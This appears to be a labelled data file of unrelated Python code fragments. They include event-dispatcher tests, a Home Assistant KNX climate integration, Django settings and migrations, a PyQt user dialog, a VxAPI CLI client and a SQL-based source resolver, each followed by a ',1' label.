rset.extend(rval2) assert rset.eat assert rset.schedule == {coro} rset2.extend(rval3) rset.extend(rset2) rset.extend(None) assert rset.eat assert rset.append_events == [evt, evt] assert rset.insert_events == [evt] assert rset.schedule == {coro, coro2} def test_iadd(self, evt): rval = event.ReturnValue(append_events=[evt]) rval2 = event.ReturnValue(eat=True, append_events=[evt]) rset = event.ResultSet() rset += rval rset += rval2 rset += None assert rset.eat assert rset.append_events == [evt, evt] def test_type(self): rset = event.ResultSet() with pytest.raises(NotImplementedError): rset.extend([]) with pytest.raises(NotImplementedError): rset.extend(False) class TestEventDispatcher: @pytest.fixture def dispatcher(self): return event.EventDispatcher() def test_register(self, dispatcher): name = ""some_name"" @event.event(name) async def corofunc(*args): return True h_inst = event.HandlerInstance.from_handler(corofunc) dispatcher.register(h_inst) assert h_inst in dispatcher.event_map[""some_name""] def test_register_plugin(self, dispatcher): name = ""some_name"" class AClass: @event.event(name) def handler(self): pass @event.event(name) async def hander(self): pass obj = AClass() h_insts = dispatcher.register_plugin(obj) assert len(dispatcher.event_map) == 1 assert len(h_insts) == 2 for h_inst in h_insts: assert h_inst in dispatcher.event_map[name] def test_dispatch(self, dispatcher, loop): name = ""some_name"" args = dict(zip(map(str, range(10)), range(10, 20))) called = 0 @event.event(name) async def corofunc(**local_args): nonlocal called assert local_args == args called += 1 h_inst = event.HandlerInstance.from_handler(corofunc) dispatcher.register(h_inst) evt = event.Event(name, args) evt2 = evt._replace(name=evt.name + ""_"") loop.run_until_complete(dispatcher.dispatch(evt)) loop.run_until_complete(dispatcher.dispatch(evt2)) assert called == 1 def test_dispatch_priority(self, dispatcher, loop, evt): called = list() @event.event(evt.name, priority=0) async def corofunc(): called.append(corofunc) @event.event(evt.name, priority=1) def corofunc2(): called.append(corofunc2) h_inst = event.HandlerInstance.from_handler(corofunc) h_inst2 = event.HandlerInstance.from_handler(corofunc2) dispatcher.register(h_inst) dispatcher.register(h_inst2) loop.run_until_complete(dispatcher.dispatch(evt)) assert called == [corofunc2, corofunc] def test_dispatch_disabled(self, dispatcher, loop, evt): called = 0 @event.event(evt.name, enable=False) async def corofunc(): nonlocal called called += 1 h_inst = event.HandlerInstance.from_handler(corofunc) dispatcher.register(h_inst) loop.run_until_complete(dispatcher.dispatch(evt)) assert called == 0 # TODO test disabled def test_dispatch_exception(self, loop, evt): logger = mock.Mock(Logger) dispatcher = event.EventDispatcher(logger=logger) called = 0 @event.event(evt.name) async def corofunc(): nonlocal called called += 1 raise ValueError(""yeah async"") @event.event(evt.name) def handler(): nonlocal called called += 1 raise ValueError(""yeah sync"") dispatcher.register(event.HandlerInstance.from_handler(corofunc)) dispatcher.register(event.HandlerInstance.from_handler(handler)) assert not logger.exception.called loop.run_until_complete(dispatcher.dispatch(evt)) assert called == 2 assert logger.exception.call_count == 2 def test_dispatch_unknown_return(self, loop, evt): logger = mock.Mock(Logger) dispatcher = event.EventDispatcher(logger=logger) called = False @event.event(evt.name) async def corofunc(): nonlocal called called = True return ""some arbitrary value"" dispatcher.register(event.HandlerInstance.from_handler(corofunc)) assert not logger.warning.called loop.run_until_complete(dispatcher.dispatch(evt)) assert called assert logger.warning.call_count == 1 def test_dispatch_eat(self, loop, evt): dispatcher = event.EventDispatcher() called = [False] * 3 @event.event(evt.name, priority=1) def corofunc(): called[0] = True @event.event(evt.name, priority=0) async def corofunc2(): called[1] = True return event.ReturnValue(eat=True) @event.event(evt.name, priority=-1) async def corofunc3(): called[2] = True dispatcher.register(event.HandlerInstance.from_handler(corofunc)) dispatcher.register(event.HandlerInstance.from_handler(corofunc2)) dispatcher.register(event.HandlerInstance.from_handler(corofunc3)) result = loop.run_until_complete(dispatcher.dispatch(evt)) assert result.eat assert called == [True, True, False] def test_dispatch_nested_insert(self, loop, evt): dispatcher = event.EventDispatcher() called = [0] * 3 evt1 = evt evt2 = evt._replace(name=evt.name + ""_"") evt3 = evt._replace(name=evt.name + ""__"") @event.event(evt.name) def corofunc1(): called[0] += 1 return event.ReturnValue(insert_events=[evt2], append_events=[evt]) @event.event(evt2.name) def corofunc2(): called[1] += 1 return event.ReturnValue(insert_events=[evt3], append_events=[evt2]) @event.event(evt3.name) def corofunc3(): called[2] += 1 async def corofunc(): pass return event.ReturnValue(append_events=[evt3], schedule={corofunc()}) dispatcher.register(event.HandlerInstance.from_handler(corofunc1)) dispatcher.register(event.HandlerInstance.from_handler(corofunc2)) dispatcher.register(event.HandlerInstance.from_handler(corofunc3)) result = loop.run_until_complete(dispatcher.dispatch(evt)) assert called == [1, 1, 1] assert result.append_events == [evt1, evt2, evt3] assert len(result.schedule) == 1 # prevent warnings again loop.run_until_complete(next(iter(result.schedule))) # TODO other ReturnValue tests ",1 "e factors of the index. The upper bound is the first number not included. """""" factor_count = [0] * upper_limit prime = 2 #start with the first prime, which is 2 while True: prime_power = prime for exponent in range(int(log(upper_limit, prime))): for hit in range(prime_power, upper_limit, prime_power): factor_count[hit] += 1 prime_power *= prime while True: prime += 1 if prime >= upper_limit: return factor_count if factor_count[prime] == 0: break print(sum(1 if n == 2 else 0 for n in num_prime_factors(100000000))) ",1 " self.conn = conn pass def resolve(self, detections, sources): """"""Template resolve function. Returns resolution status and an array of xtrsrcid-runcatid of resolved pairs (if possible)."""""" return False, [] def load_detections(self, group_id): cursor = self.conn.get_cursor("""""" select xtrsrcid, ra, ra_err, decl, decl_err, f_int, f_int_err from extractedsources e where e.image_id = %s and exists (select 1 from temp_associations ta where ta.xtrsrc_id2 = e.xtrsrcid and ta.image_id = e.image_id and ta.group_head_id = %s)"""""" % (GLOBALS['i'], group_id)) detections = cursor.fetchall() cursor.close() return detections def load_sources(self, group_id): cursor = self.conn.get_cursor("""""" select runcatid, wm_ra, wm_ra_err, wm_decl, wm_decl_err, wm_f_int, wm_f_int_err from runningcatalog r, runningcatalog_fluxes f, images i where i.imageid = %s and f.band = i.band and f.stokes = i.stokes and r.runcatid = f.runcat_id and exists (select 1 from temp_associations ta where ta.runcat_id = r.runcatid and ta.image_id = i.imageid and ta.group_head_id = %s)"""""" % (GLOBALS['i'], group_id)) sources = cursor.fetchall() cursor.close() return sources def run_resolve(self, group_id): """"""Get data from Database, run resolver, saev results to temp_associations"""""" #--Run resolver-- is_ok, solutions = self.resolve(self.load_detections(group_id), self.load_sources(group_id)) if is_ok: #""delete"" all associations from this group. self.conn.execute("""""" update temp_associations set kind = -1 where image_id = %s and group_head_id = %s;"""""" % (GLOBALS['i'], group_id)) #""restore"" associations that are ""ok"" for solution in solutions: self.conn.execute(""""""update temp_associations set kind = 1, group_head_id = null where image_id = %s and group_head_id = %s and xtrsrc_id2 = %s and runcat_id = %s;"""""" % (GLOBALS['i'], group_id, solution[0], solution[1])) return is_ok ",1 "ts/climate.knx/ """""" import voluptuous as vol import homeassistant.helpers.config_validation as cv from homeassistant.components.climate import ( PLATFORM_SCHEMA, SUPPORT_ON_OFF, SUPPORT_OPERATION_MODE, SUPPORT_TARGET_TEMPERATURE, STATE_HEAT, STATE_IDLE, STATE_MANUAL, STATE_DRY, STATE_FAN_ONLY, STATE_ECO, ClimateDevice) from homeassistant.const import ( ATTR_TEMPERATURE, CONF_NAME, TEMP_CELSIUS) from homeassistant.core import callback from homeassistant.components.knx import DATA_KNX, ATTR_DISCOVER_DEVICES CONF_SETPOINT_SHIFT_ADDRESS = 'setpoint_shift_address' CONF_SETPOINT_SHIFT_STATE_ADDRESS = 'setpoint_shift_state_address' CONF_SETPOINT_SHIFT_STEP = 'setpoint_shift_step' CONF_SETPOINT_SHIFT_MAX = 'setpoint_shift_max' CONF_SETPOINT_SHIFT_MIN = 'setpoint_shift_min' CONF_TEMPERATURE_ADDRESS = 'temperature_address' CONF_TARGET_TEMPERATURE_ADDRESS = 'target_temperature_address' CONF_OPERATION_MODE_ADDRESS = 'operation_mode_address' CONF_OPERATION_MODE_STATE_ADDRESS = 'operation_mode_state_address' CONF_CONTROLLER_STATUS_ADDRESS = 'controller_status_address' CONF_CONTROLLER_STATUS_STATE_ADDRESS = 'controller_status_state_address' CONF_CONTROLLER_MODE_ADDRESS = 'controller_mode_address' CONF_CONTROLLER_MODE_STATE_ADDRESS = 'controller_mode_state_address' CONF_OPERATION_MODE_FROST_PROTECTION_ADDRESS = \ 'operation_mode_frost_protection_address' CONF_OPERATION_MODE_NIGHT_ADDRESS = 'operation_mode_night_address' CONF_OPERATION_MODE_COMFORT_ADDRESS = 'operation_mode_comfort_address' CONF_OPERATION_MODES = 'operation_modes' CONF_ON_OFF_ADDRESS = 'on_off_address' CONF_ON_OFF_STATE_ADDRESS = 'on_off_state_address' CONF_MIN_TEMP = 'min_temp' CONF_MAX_TEMP = 'max_temp' DEFAULT_NAME = 'KNX Climate' DEFAULT_SETPOINT_SHIFT_STEP = 0.5 DEFAULT_SETPOINT_SHIFT_MAX = 6 DEFAULT_SETPOINT_SHIFT_MIN = -6 DEPENDENCIES = ['knx'] # Map KNX operation modes to HA modes. This list might not be full. OPERATION_MODES = { # Map DPT 201.100 HVAC operating modes ""Frost Protection"": STATE_MANUAL, ""Night"": STATE_IDLE, ""Standby"": STATE_ECO, ""Comfort"": STATE_HEAT, # Map DPT 201.104 HVAC control modes ""Fan only"": STATE_FAN_ONLY, ""Dehumidification"": STATE_DRY } OPERATION_MODES_INV = dict(( reversed(item) for item in OPERATION_MODES.items())) PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({ vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Required(CONF_TEMPERATURE_ADDRESS): cv.string, vol.Required(CONF_TARGET_TEMPERATURE_ADDRESS): cv.string, vol.Optional(CONF_SETPOINT_SHIFT_ADDRESS): cv.string, vol.Optional(CONF_SETPOINT_SHIFT_STATE_ADDRESS): cv.string, vol.Optional(CONF_SETPOINT_SHIFT_STEP, default=DEFAULT_SETPOINT_SHIFT_STEP): vol.All( float, vol.Range(min=0, max=2)), vol.Optional(CONF_SETPOINT_SHIFT_MAX, default=DEFAULT_SETPOINT_SHIFT_MAX): vol.All(int, vol.Range(min=0, max=32)), vol.Optional(CONF_SETPOINT_SHIFT_MIN, default=DEFAULT_SETPOINT_SHIFT_MIN): vol.All(int, vol.Range(min=-32, max=0)), vol.Optional(CONF_OPERATION_MODE_ADDRESS): cv.string, vol.Optional(CONF_OPERATION_MODE_STATE_ADDRESS): cv.string, vol.Optional(CONF_CONTROLLER_STATUS_ADDRESS): cv.string, vol.Optional(CONF_CONTROLLER_STATUS_STATE_ADDRESS): cv.string, vol.Optional(CONF_CONTROLLER_MODE_ADDRESS): cv.string, vol.Optional(CONF_CONTROLLER_MODE_STATE_ADDRESS): cv.string, vol.Optional(CONF_OPERATION_MODE_FROST_PROTECTION_ADDRESS): cv.string, vol.Optional(CONF_OPERATION_MODE_NIGHT_ADDRESS): cv.string, vol.Optional(CONF_OPERATION_MODE_COMFORT_ADDRESS): cv.string, vol.Optional(CONF_ON_OFF_ADDRESS): cv.string, vol.Optional(CONF_ON_OFF_STATE_ADDRESS): cv.string, vol.Optional(CONF_OPERATION_MODES): vol.All(cv.ensure_list, [vol.In(OPERATION_MODES)]), vol.Optional(CONF_MIN_TEMP): vol.Coerce(float), vol.Optional(CONF_MAX_TEMP): vol.Coerce(float), }) async def async_setup_platform(hass, config, async_add_entities, discovery_info=None): """"""Set up climate(s) for KNX platform."""""" if discovery_info is not None: async_add_entities_discovery(hass, discovery_info, async_add_entities) else: async_add_entities_config(hass, config, async_add_entities) @callback def async_add_entities_discovery(hass, discovery_info, async_add_entities): """"""Set up climates for KNX platform configured within platform."""""" entities = [] for device_name in discovery_info[ATTR_DISCOVER_DEVICES]: device = hass.data[DATA_KNX].xknx.devices[device_name] entities.append(KNXClimate(device)) async_add_entities(entities) @callback def async_add_entities_config(hass, config, async_add_entities): """"""Set up climate for KNX platform configured within platform."""""" import xknx climate_mode = xknx.devices.ClimateMode( hass.data[DATA_KNX].xknx, name=config.get(CONF_NAME) + "" Mode"", group_address_operation_mode=config.get(CONF_OPERATION_MODE_ADDRESS), group_address_operation_mode_state=config.get( CONF_OPERATION_MODE_STATE_ADDRESS), group_address_controller_status=config.get( CONF_CONTROLLER_STATUS_ADDRESS), group_address_controller_status_state=config.get( CONF_CONTROLLER_STATUS_STATE_ADDRESS), group_address_controller_mode=config.get( CONF_CONTROLLER_MODE_ADDRESS), group_address_controller_mode_state=config.get( CONF_CONTROLLER_MODE_STATE_ADDRESS), group_address_operation_mode_protection=config.get( CONF_OPERATION_MODE_FROST_PROTECTION_ADDRESS), group_address_operation_mode_night=config.get( CONF_OPERATION_MODE_NIGHT_ADDRESS), group_address_operation_mode_comfort=config.get( CONF_OPERATION_MODE_COMFORT_ADDRESS), operation_modes=config.get( CONF_OPERATION_MODES)) hass.data[DATA_KNX].xknx.devices.add(climate_mode) climate = xknx.devices.Climate( hass.data[DATA_KNX].xknx, name=config.get(CONF_NAME), group_address_temperature=config.get(CONF_TEMPERATURE_ADDRESS), group_address_target_temperature=config.get( CONF_TARGET_TEMPERATURE_ADDRESS), group_address_setpoint_shift=config.get(CONF_SETPOINT_SHIFT_ADDRESS), group_address_setpoint_shift_state=config.get( CONF_SETPOINT_SHIFT_STATE_ADDRESS), setpoint_shift_step=config.get(CONF_SETPOINT_SHIFT_STEP), setpoint_shift_max=config.get(CONF_SETPOINT_SHIFT_MAX), setpoint_shift_min=config.get(CONF_SETPOINT_SHIFT_MIN), group_address_on_off=config.get( CONF_ON_OFF_ADDRESS), group_address_on_off_state=config.get( CONF_ON_OFF_STATE_ADDRESS), min_temp=config.get(CONF_MIN_TEMP), max_temp=config.get(CONF_MAX_TEMP), mode=climate_mode) hass.data[DATA_KNX].xknx.devices.add(climate) async_add_entities([KNXClimate(climate)]) class KNXClimate(ClimateDevice): """"""Representation of a KNX climate device."""""" def __init__(self, device): """"""Initialize of a KNX climate device."""""" self.device = device self._unit_of_measurement = TEMP_CELSIUS @property def supported_features(self): """"""Return the list of supported features."""""" support = SUPPORT_TARGET_TEMPERATURE if self.device.mode.supports_operation_mode: support |= SUPPORT_OPERATION_MODE if self.device.supports_on_off: support |= SUPPORT_ON_OFF return support async def async_added_to_hass(self): """"""Register callbacks to update hass after device was changed."""""" async def after_update_callback(device): """"""Call after device was updated."""""" await self.async_update_ha_state() self.device.register_device_updated_cb(after_update_callback) @property def name(self): """"""Return the name of the KNX device."""""" return self.device.name @property def available(self): """"""Return True if entity is available."""""" return self.hass.data[DATA_KNX].connected @property def should_poll(self): """"""No polling needed within KNX."""""" return False @property def temperature_unit(self): """"""Return the unit of measurement."""""" return self._unit_of_measurement @property def current_temperature(self): """"""Return the current temperature."""""" return self.device.temperature.value @property def target_temperature_step(self): """"""Return the supported step of target temperature."""""" return self.device.setpoint_shift_step @property def target_temperature(self): """"""Return the temperature we try to reach."""""" return self.device.target_temperature.value @property def min_temp(self): """"""Return the minimum temperature."""""" return self.device.target_temperature_min @property def max_temp(self): """"""Return the maximum temperature."""""" return self.device.target_temperature_max async def async_set_temperature(self, **kwargs): """"""Set new target temperature."""""" temperature = kwargs.get(ATTR_TEMPERATURE) if temperature is None: return await self.device.set_target_temperature(temperature) await self.async_update_ha_state() @property def current_operation(self): """"""Return current operation ie. heat, cool, idle."""""" if self.device.mode.supports_operation_mode: return OPERATION_MODES.get(self.device.mode.operation_mode.value) return None @property def operation_list(self): """"""Return the list of available operation modes."""""" return [OPERATION_MODES.get(operation_mode.value) for operation_mode in self.device.mode.operation_modes] async def async_set_operation_mode(self, operation_mode): """"""Set operation mode."""""" if self.device.mode.supports_operation_mode: from xknx.knx import HVACOperationMode knx_operation_mode = HVACOperationMode( OPERATION_MODES_INV.get(operation_mode)) await self.device.mode.set_operation_mode(knx_operation_mode) await self.async_update_ha_state() @property def is_on(self): """"""Return true if the device is on."""""" if self.device.supports_on_off: return self.device.is_on return None async def async_turn_on(self): """"""Turn on."""""" await self.device.turn_on() async def async_turn_off(self): """"""Turn off."""""" await self.device.turn_off() ",1 "_result() def test_add_file_t(): test_util.mkfile(2, 'l/m/n/test.md', 'add l/m/n/test.md') test_util.verify_result() def test_add_dir(): test_util.mkdir(1, 'ad') test_util.verify_result() def test_add_dir_t(): test_util.mkdir(2, 'tt/ee/st') test_util.verify_result() def test_modify_file(): test_util.modfile(1, 'a.md', 'modify a.md') test_util.verify_result() def test_rm_file(): test_util.rmfile(1, 'a.md') test_util.verify_result() def test_rm_dir(): test_util.rmdir(1, 'ad') test_util.verify_result() def test_rename_file(): test_util.mkfile(2, 'b.md', 'add b.md') time.sleep(1) test_util.move(2, 'b.md', 'b_bak.md') test_util.verify_result() def test_rename_dir(): test_util.mkdir(2, 'ab') time.sleep(1) test_util.move(2, 'ab', 'ab_bak') test_util.verify_result() def test_each(): test_util.mkdir(1, 'abc1') test_util.mkfile(1, 'abc1/c.md', 'add abc1/c.md') time.sleep(1) test_util.mkdir(2, 'bcd1') test_util.mkfile(2, 'bcd1/d.md', 'add bcd1/d.md') test_util.verify_result() def test_unsync_resync(): test_util.desync_cli1() test_util.rmdir(1, 'abc1') test_util.modfile(1, 'bcd1/d.md', 'modify bcd1/d.md to test unsync resync') test_util.sync_cli1() test_util.verify_result() if not os.path.exists(test_util.getpath(1, 'abc1')): assert False, 'dir abc1 should be recreated when resync' if len(os.listdir(test_util.getpath(1, 'bcd1'))) != 2: assert False, 'should generate conflict file for bcd1/d.md when resync' def test_modify_timestamp(): test_util.touch(1, 'bcd1/d.md') test_util.verify_result() ",1 "cs.djangoproject.com/en/1.9/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.9/ref/settings/ """""" import os from local_settings import SECRET_KEY, DATABASES, DEBUG # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.9/howto/deployment/checklist/ SECRET_KEY = SECRET_KEY # SECURITY WARNING: don't run with debug turned on in production! DEBUG = DEBUG ALLOWED_HOSTS = [ 'learningdjango.in', 'localhost', '127.0.0.1' ] # Application definition INSTALLED_APPS = [ 'home.apps.HomeConfig', 'polls.apps.PollsConfig', 'blog.apps.BlogConfig', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE_CLASSES = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'apps.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'apps.wsgi.application' # Database # https://docs.djangoproject.com/en/1.9/ref/settings/#databases DATABASES = DATABASES # Password validation # https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.9/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'Asia/Kolkata' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.9/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, 'static') # Media Files MEDIA_URL = '/media/' MEDIA_ROOT = os.path.join(BASE_DIR, 'media') ",1 " it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # librix-thinclient is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with librix-thinclient. If not, see . import os from PyQt4 import QtGui from ltmt.ui.users.add_user.Ui_addUser import Ui_AddUser class AddUser(QtGui.QDialog): """"""This class provides a add user dialog feature to users page of LTMT"""""" def __init__(self, configparser, parent=None): """"""Init method @param self A AddUser instance @param parent Parent QtGui.QWidget object """""" self.configparser = configparser self.parent = parent QtGui.QDialog.__init__(self) self.ui = Ui_AddUser() self.ui.setupUi(self) self.parseDefaults() self.ui.detailsWid.hide() def parseDefaults(self): """"""Parse some default values for new user accounts @param self A AddUser instance """""" with open(""/etc/default/useradd"", 'r') as ua: for l in ua: L = l.strip().split('=') if len(L) >= 2: if L[0] == ""GROUP"": self.group = L[1] elif L[0] == ""HOME"": self.home = L[1] elif L[0] == ""SHELL"": self.shell = L[1] def userChanged(self, username): """"""Slot called when user name was changed, updating entries @param self A AddUser instance @param username String username """""" self.ui.initGLine.setText(self.group) self.ui.homeLine.setText(os.path.join(self.home, username)) self.ui.shellLine.setText(self.shell) def accept(self): """"""Reimplemented method QtGui.QDialog.accept Add user to configparser before accept dialog @param self A AddUser instance """""" user = self.ui.nameLine.text() print(""__accepted__"", user) if user in self.configparser.getUsersList(): if QtGui.QMessageBox.warning(self, self.tr(""Replace User""), self.tr(""Are you sure you want to overwrite \""{0}\"" user?"")\ .format(user), QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) == QtGui.QMessageBox.Yes: self.configparser.delUser(user) else: return self.configparser.addUser(user) if self.ui.syncCheck.isChecked(): self.configparser.setUserSync(user, passwd=self.ui.pwLine.text(), uid=self.ui.uidSpin.text(), init_group=self.ui.initGLine.text(), groups=[g.strip() for g in self.ui.groupsLine.text().split(',')], home=self.ui.homeLine.text(), shell=self.ui.shellLine.text()) QtGui.QDialog.accept(self) ",1 "_builders.default_cli_arguments import DefaultCliArguments import datetime from cli.cli_file_writer import CliFileWriter from cli.formatter.cli_json_formatter import CliJsonFormatter from constants import CALLED_SCRIPT class CliCaller: api_object = None action_name = None help_description = '' given_args = {} result_msg_for_files = 'Response contains files. They were saved in the output folder ({}).' result_msg_for_json = '{}' cli_output_folder = '' args_to_prevent_from_being_send = ['chosen_action', 'verbose', 'quiet'] def __init__(self, api_object: ApiCaller, action_name: str): self.api_object = api_object self.action_name = action_name self.help_description = self.help_description.format(self.api_object.endpoint_url) def init_verbose_mode(self): self.result_msg_for_json = 'JSON:\n\n{}' def build_argument_builder(self, child_parser): return DefaultCliArguments(child_parser) def add_parser_args(self, child_parser): parser_argument_builder = self.build_argument_builder(child_parser) parser_argument_builder.add_verbose_arg() parser_argument_builder.add_help_opt() parser_argument_builder.add_quiet_opt() return parser_argument_builder def attach_args(self, args): self.given_args = args.copy() args_to_send = args.copy() for arg_to_remove in self.args_to_prevent_from_being_send: if arg_to_remove in args_to_send: del args_to_send[arg_to_remove] if 'output' in args: self.cli_output_folder = args['output'] del args_to_send['output'] args_to_send = {k: v for k, v in args_to_send.items() if v not in [None, '']} # Removing some 'empty' elements from dictionary if 'file' in args: del args_to_send['file'] # attaching file is handled by separated method if self.api_object.request_method_name == ApiCaller.CONST_REQUEST_METHOD_GET: self.api_object.attach_params(args_to_send) else: # POST self.api_object.attach_data(args_to_send) def attach_file(self, file): if isinstance(file, str): file = open(file, 'rb') self.api_object.attach_files({'file': file}) # it's already stored as file handler def get_colored_response_status_code(self): response_code = self.api_object.get_response_status_code() return Color.success(response_code) if self.api_object.if_request_success() is True else Color.error(response_code) def get_colored_prepared_response_msg(self): response_msg = self.api_object.get_prepared_response_msg() return Color.success(response_msg) if self.api_object.if_request_success() is True else Color.error(response_msg) def get_result_msg(self): if self.api_object.api_response.headers['Content-Type'] == 'text/html': raise ResponseTextContentTypeError('Can\'t print result, since it\'s \'text/html\' instead of expected content type with \'{}\' on board.'.format(self.api_object.api_expected_data_type)) if self.api_object.api_expected_data_type == ApiCaller.CONST_EXPECTED_DATA_TYPE_JSON: return self.result_msg_for_json.format(CliJsonFormatter.format_to_pretty_string(self.api_object.get_response_json())) elif self.api_object.api_expected_data_type == ApiCaller.CONST_EXPECTED_DATA_TYPE_FILE: if self.api_object.if_request_success() is True: return self.get_result_msg_for_files() else: error_msg = 'Error has occurred and your files were not saved.' if self.given_args['verbose'] is False: error_msg += ' To get more information, please run command in verbose mode. (add \'-v\')' return error_msg def get_processed_output_path(self): output_path = self.cli_output_folder if output_path.startswith('/') is True: # Given path is absolute final_output_path = output_path else: path_parts = os.path.dirname(os.path.realpath(__file__)).split('/')[:-2] called_script_dir = os.path.dirname(CALLED_SCRIPT) # It's about a case when user is calling script from not root directory.€ if called_script_dir != 'vxapi.py': new_path_parts = [] bad_parts = called_script_dir.split('/') for part in reversed(path_parts): if part in bad_parts: bad_parts.remove(part) continue new_path_parts.append(part) new_path_parts.reverse() path_parts = new_path_parts prepared_file_path = path_parts + [self.cli_output_folder] final_output_path = '/'.join(prepared_file_path) if not final_output_path.startswith('/'): final_output_path = '/' + final_output_path return final_output_path def get_result_msg_for_files(self): return self.result_msg_for_files.format(self.get_processed_output_path()) def do_post_processing(self): if self.api_object.api_expected_data_type == ApiCaller.CONST_EXPECTED_DATA_TYPE_FILE and self.api_object.if_request_success() is True: self.save_files() def get_date_string(self): now = datetime.datetime.now() return '{}_{}_{}_{}_{}_{}'.format(now.year, now.month, now.day, now.hour, now.minute, now.second) def convert_file_hashes_to_array(self, args, file_arg='hash_list', key_of_array_arg='hashes'): with args[file_arg] as file: hashes = file.read().splitlines() if not hashes: raise Exception('Given file does not contain any data.') for key, value in enumerate(hashes): args['{}[{}]'.format(key_of_array_arg, key)] = value del args[file_arg] return args def save_files(self): api_response = self.api_object.api_response identifier = None if 'id' in self.given_args: identifier = self.given_args['id'] elif 'sha256' in self.given_args: identifier = self.given_args['sha256'] filename = '{}-{}-{}'.format(self.action_name, identifier, api_response.headers['Vx-Filename']) if identifier is not None else '{}-{}'.format(self.action_name, api_response.headers['Vx-Filename']) return CliFileWriter.write(self.get_processed_output_path(), filename, api_response.content) ",1 " def get_type(value): # inspired by: https://stackoverflow.com/a/12028864 return type(value) @register.filter def is_model(value): return isinstance(value, Model) @register.filter def is_iterable(value): return isinstance(value, Iterable) @register.filter def is_str(value): return isinstance(value, str) @register.filter def is_bool(value): return isinstance(value, bool) ",1 "hemaMigration): def forwards(self, orm): # Adding field 'UserProject.drive_auth' db.add_column(u'user_project', 'drive_auth', self.gf('django.db.models.fields.BooleanField')(default=False), keep_default=False) def backwards(self, orm): # Deleting field 'UserProject.drive_auth' db.delete_column(u'user_project', 'drive_auth') models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': ""('content_type__app_label', 'content_type__model', 'codename')"", 'unique_together': ""(('content_type', 'codename'),)"", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['contenttypes.ContentType']""}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Group']"", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': ""('name',)"", 'unique_together': ""(('app_label', 'model'),)"", 'object_name': 'ContentType', 'db_table': ""'django_content_type'""}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'home.category': { 'Meta': {'object_name': 'Category', 'db_table': ""u'category'""}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], 